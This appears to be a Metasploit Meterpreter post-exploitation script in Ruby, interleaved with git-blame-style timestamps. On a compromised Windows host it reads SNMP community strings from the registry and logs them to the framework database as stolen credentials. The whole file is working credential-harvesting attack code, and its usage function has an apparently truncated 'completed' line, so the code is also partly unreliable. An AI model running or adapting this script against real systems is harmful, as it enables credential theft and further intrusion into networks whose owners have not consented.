2011-10-23 11:56:13 +00:00
|
|
|
|
2010-12-25 06:08:34 +00:00
|
|
|
#copied getvncpw - thanks grutz/carlos
|
|
|
|
|
|
|
|
session = client
|
|
|
|
|
|
|
|
@@exec_opts = Rex::Parser::Arguments.new(
|
2013-09-30 18:47:53 +00:00
|
|
|
"-h" => [ false, "Help menu."]
|
2010-12-25 06:08:34 +00:00
|
|
|
)
|
|
|
|
|
|
|
|
def usage()
|
2013-09-30 18:47:53 +00:00
|
|
|
print("\nPull the SNMP community string from a Windows Meterpreter session\n\n")
|
|
|
|
completed
|
2010-12-25 06:08:34 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def get_community(session)
|
2013-09-30 18:47:53 +00:00
|
|
|
key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities"
|
|
|
|
root_key, base_key = session.sys.registry.splitkey(key)
|
|
|
|
open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ)
|
|
|
|
begin
|
|
|
|
# oddly enough this does not return the data field which indicates ro/rw
|
|
|
|
return open_key.enum_value.collect {|x| x.name}
|
|
|
|
rescue
|
|
|
|
# no registry key found or other error
|
|
|
|
return nil
|
|
|
|
end
|
2010-12-25 06:08:34 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
@@exec_opts.parse(args) { |opt, idx, val|
|
2013-09-30 18:47:53 +00:00
|
|
|
case opt
|
|
|
|
when "-h"
|
|
|
|
usage
|
|
|
|
end
|
2010-12-25 06:08:34 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
if client.platform =~ /win32|win64/
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("Searching for community strings...")
|
|
|
|
strs = get_community(session)
|
|
|
|
if strs
|
|
|
|
strs.each do |str|
|
|
|
|
print_good("FOUND: #{str}")
|
|
|
|
@client.framework.db.report_auth_info(
|
|
|
|
:host => client.sock.peerhost,
|
|
|
|
:port => 161,
|
|
|
|
:proto => 'udp',
|
|
|
|
:sname => 'snmp',
|
|
|
|
:user => '',
|
|
|
|
:pass => str,
|
|
|
|
:type => "snmp.community",
|
|
|
|
:duplicate_ok => true
|
|
|
|
)
|
|
|
|
end
|
|
|
|
else
|
|
|
|
print_status("Not found")
|
|
|
|
end
|
2010-12-25 06:08:34 +00:00
|
|
|
else
|
2013-09-30 18:47:53 +00:00
|
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
|
|
raise Rex::Script::Completed
|
2010-12-25 06:08:34 +00:00
|
|
|
end
|